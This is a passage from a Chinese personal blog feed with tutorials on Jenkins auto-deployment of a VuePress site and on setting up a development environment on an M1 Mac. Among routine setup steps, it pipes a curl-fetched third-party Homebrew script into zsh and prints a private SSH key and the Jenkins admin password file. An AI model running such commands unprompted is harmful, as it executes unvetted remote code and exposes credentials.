<section><h2>渲染流水线总结：<a href="#渲染流水线总结"><span>#</span></a></h2><p>好了，我们现在已经分析完了整个渲染流程，从 HTML 到 DOM、样式计算、布局、图层、绘制、光栅化、合成和显示。下面我用一张图来总结下这整个渲染流程：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/img/975fcbf7f83cc20d216f3d68a85d0f37.png" alt="img" /><figcaption>img</figcaption></figure><p></p><ol>
<li>渲染进程将 HTML 内容转换为能够读懂的 DOM 树结构。</li>
<li>渲染引擎将 CSS 样式表转化为浏览器可以理解的 styleSheets，计算出 DOM 节点的样式。</li>
<li>创建布局树，并计算元素的布局信息。</li>
<li>对布局树进行分层，并生成分层树。</li>
<li>为每个图层生成绘制列表，并将其提交到合成线程。</li>
<li>合成线程将图层分成图块，并在光栅化线程池中将图块转换成位图。</li>
<li>合成线程发送绘制图块命令 DrawQuad 给浏览器进程。</li>
<li>浏览器进程根据 DrawQuad 消息生成页面，并显示到显示器上。</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/jenkins%E4%B8%8B/</id>
      <title type="text">jenkins自动化部署Vuepress(下)-新建任务以及任务配置</title>
      <published>2021-06-04T00:00:00.000Z</published>
      <updated>2021-06-04T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/jenkins%E4%B8%8B/"/>
      <summary type="text">在 Jenkins 中新建任务，配置源码管理、SSH 密钥和构建步骤，实现 push 后自动部署。</summary>
      <content type="html"><![CDATA[<section><h3>新建任务<a href="#新建任务"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506211405930.png" alt="image-20210506211405930" /><figcaption>image-20210506211405930</figcaption></figure><p></p></section>
<section><h3>General<a href="#general"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506211649955.png" alt="image-20210506211649955" /><figcaption>image-20210506211649955</figcaption></figure><p></p></section>
<section><h3>源码管理<a href="#源码管理"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506212623976.png" alt="image-20210506212623976" /><figcaption>image-20210506212623976</figcaption></figure><p></p><p>生成公私钥</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh-keygen -t rsa -C "你的邮箱地址"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>连续回车三次，会在linux(云服务器)的~/.ssh文件里生成公钥<code>id_rsa.pub</code>和私钥<code>id_rsa</code>，公钥需要添加到github的</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cd ~/.ssh</span></div></div><div><div><div>2</div></div><div><span>cat id_rsa.pub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4>1.复制返回的公钥的值，添加到github的SSH key中<a href="#1复制返回的公钥的值添加到github的ssh-key中"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506213121935.png" alt="image-20210506213121935" /><figcaption>image-20210506213121935</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cat id_rsa</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2.复制返回的私钥的值，添加到Credentials中，点击添加<a href="#2复制返回的私钥的值添加到credentials中点击添加"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506213752198.png" alt="image-20210506213752198" /><figcaption>image-20210506213752198</figcaption></figure><p></p></section><section><h4>3.然后在Credentials选中该凭证即可。<a href="#3然后在credentials选中该凭证即可"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506225214579.png" alt="image-20210506225214579" /><figcaption>image-20210506225214579</figcaption></figure><p></p></section></section>
<section><h3>构建触发器<a href="#构建触发器"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506213910710.png" alt="image-20210506213910710" /><figcaption>image-20210506213910710</figcaption></figure><p></p></section>
<section><h3>构建环境<a href="#构建环境"><span>#</span></a></h3><section><h4>1.添加webhook(你当前项目的settings里选)<a href="#1添加webhook你当前项目的settings里选"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506214424259.png" alt="image-20210506214424259" /><figcaption>image-20210506214424259</figcaption></figure><p></p><p>点击添加</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506214614024.png" alt="image-20210506214614024" /><figcaption>image-20210506214614024</figcaption></figure><p></p><p>因为我们的目的是push后自动化构建，所以其实只需要push event就行，添加好以后测试连接</p></section><section><h4>2.安装nodejs<a href="#2安装nodejs"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506224404226.png" alt="image-20210506224404226" /><figcaption>image-20210506224404226</figcaption></figure><p></p><p>在可选插件里搜索NodeJS Plugin安装并restart jenkins</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506224429572.png" alt="image-20210506224429572" /><figcaption>image-20210506224429572</figcaption></figure><p></p><p>然后到</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506224833300.png" alt="image-20210506224833300" /><figcaption>image-20210506224833300</figcaption></figure><p></p></section><section><h4>3.接着配置任务<a href="#3接着配置任务"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506224116398.png" alt="image-20210506224116398" /><figcaption>image-20210506224116398</figcaption></figure><p></p></section></section>
<section><h3>构建<a href="#构建"><span>#</span></a></h3><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506230333986.png" alt="image-20210506230333986" /><figcaption>image-20210506230333986</figcaption></figure><p></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>$WORKSPACE</span><span> </span><span>#看一下工作目录在哪</span></div></div><div><div><div>2</div></div><div><span>node</span><span> </span><span>-v</span></div></div><div><div><div>3</div></div><div><span>npm</span><span> </span><span>-v</span></div></div><div><div><div>4</div></div><div><span>npm</span><span> </span><span>install</span><span>&amp;&amp; </span><span>#更新依赖</span></div></div><div><div><div>5</div></div><div><span>npm</span><span> </span><span>run</span><span> </span><span>docs:build</span><span> </span><span>#build打包</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>构建和打包是在jenkins服务器内部的，你在构建这一部分写的所有的命令行，其实是以<code>/var/lib/jenkins/workspace/你的任务名称</code>为路径的操作,shell也只能在以jenkins为~的情况下进行操作，就是说你虽然把jenkins部署在云服务器上，但是这里的shell脚本只能管云服务器里的jenkins服务器(/var/lib/jenkins/)里的东西。
然后直接就可以保存了。</p></section>
<section><h2>执行任务测试<a href="#执行任务测试"><span>#</span></a></h2><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210507170920367.png" alt="image-20210507170920367" /><figcaption>image-20210507170920367</figcaption></figure><p></p><p>点击build now进行测试。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210507170950287.png" alt="image-20210507170950287" /><figcaption>image-20210507170950287</figcaption></figure><p></p><p>在每一次的测试中都可以看控制台输出，方便快速定位错误。</p></section>
<section><h2>修改Nginx指向<a href="#修改nginx指向"><span>#</span></a></h2><p>这时候把Nginx指向每次在jenkins工作空间下打包好的静态文件就行了。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/var/lib/jenkins/workspace/vuepress下运行的</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>因此是<code>/var/lib/jenkins/workspace/vuepress/public</code>(这里静态文件夹每个项目不同，我这个是public,有的是dist之类的)。</p></section>
<section><h2>VSCode提交和Push<a href="#vscode提交和push"><span>#</span></a></h2><ol>
<li>
<p>把github仓库clone到本地(如果你本地已经有了库就可以跳过这一步)</p>
<p>在你想要存放的文件夹下执行</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>git clone https://github.com/用户名/xxx.git</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>文件目录</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>--你执行命令的文件夹</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>--xxx文件夹(你clone下来的)</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>每次把文章写好直接放在分类下就可以了。只要放到你的本地从github上clone下来的文件夹的任意位置或是你修改了任何东西，vscode都会提醒你有改变</p>
</li>
<li>
<p>提交，下面显示的就是你修改的或是添加的文件或文件夹</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512114527982.png" alt="image-20210512114527982" /><figcaption>image-20210512114527982</figcaption></figure><p></p>
</li>
<li>
<p>根据提示，你需要填写你的提交信息并回车提交。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512114742796.png" alt="image-20210512114742796" /><figcaption>image-20210512114742796</figcaption></figure><p></p>
</li>
<li>
<p>推送到你的远程github库里，也就是Push</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512115026617.png" alt="image-20210512115026617" /><figcaption>image-20210512115026617</figcaption></figure><p></p>
</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/jenkins%E4%B8%8A/</id>
      <title type="text">jenkins自动化部署Vuepress(上)-安装jenkins和基本配置</title>
      <published>2021-06-03T00:00:00.000Z</published>
      <updated>2021-06-03T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/jenkins%E4%B8%8A/"/>
      <summary type="text">将Vuepress，也就是本网站的文件，放在github的私有仓库里，每当从vscode中把文章代码什么的push到私有仓库的时候，jenkins服务器自动将更…</summary>
      <content type="html"><![CDATA[<section><h2>目的<a href="#目的"><span>#</span></a></h2><p>将Vuepress，也就是本网站的文件，放在github的私有仓库里，每当从vscode中把文章代码什么的push到私有仓库的时候，jenkins服务器自动将更新后的代码从github上fetch下来，然后再自动打包。</p></section>
<section><h2>将Vuepress代码上传到github上<a href="#将vuepress代码上传到github上"><span>#</span></a></h2><ol>
<li>
<p><a href="https://blog.csdn.net/huangqqdy/article/details/83032408" target="_blank">git的安装和配置密钥</a></p>
</li>
<li>
<p>github创建库</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512144157790.png" alt="image-20210512144157790" /><figcaption>image-20210512144157790</figcaption></figure><p></p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512145053209.png" alt="image-20210512145053209" /><figcaption>image-20210512145053209</figcaption></figure><p></p>
<p>下面的三个<code>README、.gitignore、license</code>感兴趣可以在下面介绍的Learn more中看具体的解释，对于个人博客来说都不用勾选也不影响。</p>
<p>有两种情况：</p>
<p>第一种是你按我上图Add a README file，直接就会出现你的仓库信息，会有一个默认的README.md</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512145946648.png" alt="image-20210512145946648" /><figcaption>image-20210512145946648</figcaption></figure><p></p>
<p>第二种是你什么也没选，github会告诉你怎么操作，你只需要找一个文件夹，在cmd下执行以下的操作就可以看到和上面一样的了。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512145912270.png" alt="image-20210512145912270" /><figcaption>image-20210512145912270</figcaption></figure><p></p>
<p>区别是第二种在执行的过程中已经生成了本地的库。</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512150158944.png" alt="image-20210512150158944" /><figcaption>image-20210512150158944</figcaption></figure><p></p>
<p>而第一种则需要复制SSH地址</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210512150454189.png" alt="image-20210512150454189" /><figcaption>image-20210512150454189</figcaption></figure><p></p>
<p>在选定文件夹路径下用cmd命令行</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>git clone git@github.com:An0510/test_git.git</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ol></section>
<section><h2>安装Jenkins<a href="#安装jenkins"><span>#</span></a></h2><p>Centos根目录下执行以下命令</p><p>安装：<a href="https://pkg.jenkins.io/redhat-stable/" target="_blank">官网安装教程</a></p><p>根目录下运行以下命令安装(2021.4.30/centos7.8)</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>yum install jenkins</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>浏览器访问：<code>http://你的服务器IP地址:8080/</code></p><p>打开网页按照提示继续操作</p><p><code>/var/lib/jenkins/secrets/initialAdminPassword</code></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210430160652908.png" alt="image-20210430160652908" /><figcaption>image-20210430160652908</figcaption></figure><p></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cat /var/lib/jenkins/secrets/initialAdminPassword</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>复制结果直接输入密码貌似不让你进，我是手打进去的(你也可以右键检查给input框的value直接赋值)。(使用admin账户继续的话，下次就是输入上面获取的密码)</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210430173808722.png" alt="image-20210430173808722" /><figcaption>image-20210430173808722</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210430173924640.png" alt="image-20210430173924640" /><figcaption>image-20210430173924640</figcaption></figure><p></p><p>保存并完成，jenkins就搭好了。</p><section><h5>安装文件位置<a href="#安装文件位置"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>安装目录：/var/lib/jenkins</span></div></div><div><div><div>2</div></div><div><span>日志目录：/var/log/jenkins/jenkins.log</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>启动/停止/重启<a href="#启动停止重启"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo /etc/init.d/jenkins start</span></div></div><div><div><div>2</div></div><div><span>sudo /etc/init.d/jenkins stop</span></div></div><div><div><div>3</div></div><div><span>sudo /etc/init.d/jenkins restart</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>重启restart也可以直接浏览器输入<code>http://你的服务器IP地址:8080/restart</code>来进行</p></section><section><h5>访问<a href="#访问"><span>#</span></a></h5><p>Jeckins默认端口是8080 浏览器访问</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://你的服务器IP地址:8080/</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>汉化jenkins<a href="#汉化jenkins"><span>#</span></a></h2><ol>
<li>主界面 -&gt; 系统管理 -&gt; 插件管理 -&gt; 可选插件</li>
</ol><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/817863-20191013023933669-399525050.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/817863-20191013024238739-885010179.png" alt="img" /><figcaption>img</figcaption></figure><p></p><ol>
<li>系统管理 -&gt; 系统设置 -&gt; Locale</li>
</ol><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506203700311.png" alt="image-20210506203700311" /><figcaption>image-20210506203700311</figcaption></figure><p></p><p>记着勾选下面的选框，否则不生效的。但是我的不知道为啥有些汉化的地方还是不太完全。但是基本都汉化完成，不影响使用。</p><ol>
<li>重启生效</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>浏览器地址栏输入</span></div></div><div><div><div>2</div></div><div><span>http://localhost:8080/restart</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>安装nodejs插件<a href="#安装nodejs插件"><span>#</span></a></h2><p>安装NodeJS Plugin</p><p>开始我试了试把云服务器之前装的node路径放上去，可是好像不起作用，所以就在插件的地方让他自动安装一个nodejs了</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210506204336676.png" alt="image-20210506204336676" /><figcaption>image-20210506204336676</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/archive/macm1_eviroment/</id>
      <title type="text">MacM1 常用环境搭建</title>
      <published>2021-06-01T00:00:00.000Z</published>
      <updated>2021-06-01T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/archive/macm1_eviroment/"/>
      <summary type="text">在 M1 Mac 上搭建常用开发环境：JDK、Maven、MySQL、Homebrew、Node、Python。</summary>
      <content type="html"><![CDATA[<section><h2>JDK<a href="#jdk"><span>#</span></a></h2><p>进入 Zulu openjdk 的<a href="https://www.azul.com/downloads/?version=java-8-lts&amp;os=macos&amp;package=jdk" target="_blank">下载页面</a></p><ol>
<li>点击 Choose Your Download</li>
</ol><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2ad2affa945d4416b96f9f331059561e~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601105122111" /><figcaption>image-20210601105122111</figcaption></figure><p></p><ol>
<li>选择你需要的版本，下载 arm 版本的.dmg 文件</li>
</ol><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ac85f4b2a3da46e4af4bbe750f8fd2bf~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601105354315" /><figcaption>image-20210601105354315</figcaption></figure><p></p><ol>
<li>
<p>点击.dmg 文件安装,注意这里只支持 1.8 及以上版本</p>
</li>
<li>
<p>在终端输入</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>java</span><span> </span><span>--version</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5e0c86e3f53e477699ddb3f3b0b5d74d~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601105616814" /><figcaption>image-20210601105616814</figcaption></figure><p></p>
<p>就成了</p>
</li>
</ol><p>参考：<a href="https://blog.csdn.net/luoaki/article/details/113749054" target="_blank">https://blog.csdn.net/luoaki/article/details/113749054</a></p></section>
<section><h2>Maven<a href="#maven"><span>#</span></a></h2><ol>
<li>去官网下载 bin.tar.gz 文件，<a href="http://maven.apache.org/download.cgi" target="_blank">下载地址</a></li>
</ol><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/588b9a26b33649c6a15ebb6f76c3f4a2~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601144945668" /><figcaption>image-20210601144945668</figcaption></figure><p></p><ol>
<li>下载后解压，然后移动到/usr/local 下的文件夹(通过访达的前往文件夹去)</li>
</ol><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2f225da0377d48d08b58a7d39542f346~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601145135004" /><figcaption>image-20210601145135004</figcaption></figure><p></p><ol>
<li>
<p>配置环境变量</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>vim ~/.zshrc</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>在下面添加(注意自己安装的版本和位置)</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export MAVEN_HOME=/usr/local/apache-maven-3.8.1</span></div></div><div><div><div>2</div></div><div><span>export PATH=$PATH:$MAVEN_HOME/bin</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>保存并退出。ESC+<code>:wq</code>+回车</p>
</li>
<li>
<p>让环境变量生效</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>source ~/.zshrc</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>
<p>查看是否配置成功</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>mvn -v</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a43f11a7a83e4d74a86b8b687dd9a894~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601145642780" /><figcaption>image-20210601145642780</figcaption></figure><p></p>
</li>
<li>
<p>改镜像为阿里云，加速下载依赖</p>
<p>进入 local/你的 maven 仓库/conf/settings.xml 修改 mirrors 标签内的 mirror 标签</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>mirror</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>&lt;</span><span>id</span><span>&gt;mirrorId&lt;/</span><span>id</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>&lt;</span><span>mirrorOf</span><span>&gt;aliyun&lt;/</span><span>mirrorOf</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>&lt;</span><span>name</span><span>&gt;aliyun Maven&lt;/</span><span>name</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>&lt;</span><span>url</span><span>&gt;http://maven.aliyun.com/nexus/content/groups/public/&lt;/</span><span>url</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span>&lt;/</span><span>mirror</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/90112724a61f4370bea26379bd62086b~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601150415425" /><figcaption>image-20210601150415425</figcaption></figure><p></p>
</li>
</ol><p>参考：<a href="https://blog.csdn.net/qq1808814025/article/details/112306747" target="_blank">https://blog.csdn.net/qq1808814025/article/details/112306747</a></p></section>
<section><h2>MySQL<a href="#mysql"><span>#</span></a></h2><section><h3>用安装包方式安装<a href="#用安装包方式安装"><span>#</span></a></h3><p><a href="https://downloads.mysql.com/archives/community/" target="_blank">安装包下载地址</a> 选择 8.0 或者自己需要的版本进行下载</p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/aadca59cf9cd4a249a15f3c9a45e98b3~tplv-k3u1fbpfcp-zoom-1.image" alt="WeChat9c990980ae55c3db16f8844772d7e6e5" /><figcaption>WeChat9c990980ae55c3db16f8844772d7e6e5</figcaption></figure><p></p><p>Next</p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2e550e0379ea4358bf9215074a5464f0~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601191449323" /><figcaption>image-20210601191449323</figcaption></figure><p></p><p>这时候进入系统偏好设置就能看到 mysql 已经运行了</p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/4c4a00121d2c4d0f97030f8de39ee57a~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601193011107" /><figcaption>image-20210601193011107</figcaption></figure><p></p><p>这个小海豚就是 mysql 8 了 点进去默认是启动的。</p></section><section><h3>配置环境变量<a href="#配置环境变量"><span>#</span></a></h3><p>打开终端输入</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>vim ~/.zshrc</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在.zshrc 下添加</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export PATH=$PATH:/usr/local/mysql/bin</span></div></div><div><div><div>2</div></div><div><span>export PATH=$PATH:/usr/local/mysql/support-files</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>source 一下，让环境生效</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>source ~/.zshrc</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>测试</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>mysql -uroot -p你的密码</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/597ff35932894809ac218ff280bade16~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601193837546" /><figcaption>image-20210601193837546</figcaption></figure><p></p><p>成功进入 mysql 了</p><p>参考：<a href="https://blog.csdn.net/qq_42006613/article/details/111773038" target="_blank">https://blog.csdn.net/qq_42006613/article/details/111773038</a></p></section></section>
<section><h2>Homebrew<a href="#homebrew"><span>#</span></a></h2><p>在系统根目录下运行以下命令</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>/bin/zsh</span><span> </span><span>-c</span><span> </span><span>"$(</span><span>curl</span><span> </span><span>-fsSL</span><span> https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一直回车就行。</p><p>安装成功后</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>brew -v</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6b58a328779848219c5cf7b05c9e6bc1~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601110120423" /><figcaption>image-20210601110120423</figcaption></figure><p></p><p>参考：<a href="https://zhuanlan.zhihu.com/p/111014448" target="_blank">https://zhuanlan.zhihu.com/p/111014448</a></p></section>
<section><h2>Node<a href="#node"><span>#</span></a></h2><p>我用的用 brew 命令安装的</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>brew search node</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f6b4ed7b22814a15a0a43cbce4c7f994~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601110300711" /><figcaption>image-20210601110300711</figcaption></figure><p></p><p>可以看到有很多种选择，我直接选的 node，安装下来应该是最新的版本</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>brew install node</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8275a044cb684398a5c343ca2edabd44~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601110419591" /><figcaption>image-20210601110419591</figcaption></figure><p></p></section>
<section><h2>Python<a href="#python"><span>#</span></a></h2><p>通过 homebrew 命令行安装</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>brew install python3</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>输入<code>python3</code>然后弹出以下，代表安装成功</p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/28497e9448c3416b8870e11935a9087a~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601143940289" /><figcaption>image-20210601143940289</figcaption></figure><p></p></section>
<section><h2>附加一个= =图床工具 PicGo<a href="#附加一个-图床工具-picgo"><span>#</span></a></h2><p>虽然不是环境，但是确实是电脑必下的软件=-= 毕竟传图得用它</p><p><a href="https://github.com/Molunerfinn/PicGo/releases/" target="_blank">下载链接</a> 配置在 finder,右键打开详细窗口进行配置</p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6684e1ba69b7474995807ca8ff189a1d~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601111043398" /><figcaption>image-20210601111043398</figcaption></figure><p></p><p></p><figure><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fe057d17d6a94e0aaf650909e9f6f66e~tplv-k3u1fbpfcp-zoom-1.image" alt="image-20210601111114537" /><figcaption>image-20210601111114537</figcaption></figure><p></p><p>如果有什么遗漏的欢迎提供可行的链接，我补充在文章, 节省大家上手 m1 的时间。</p></section>]]></content>
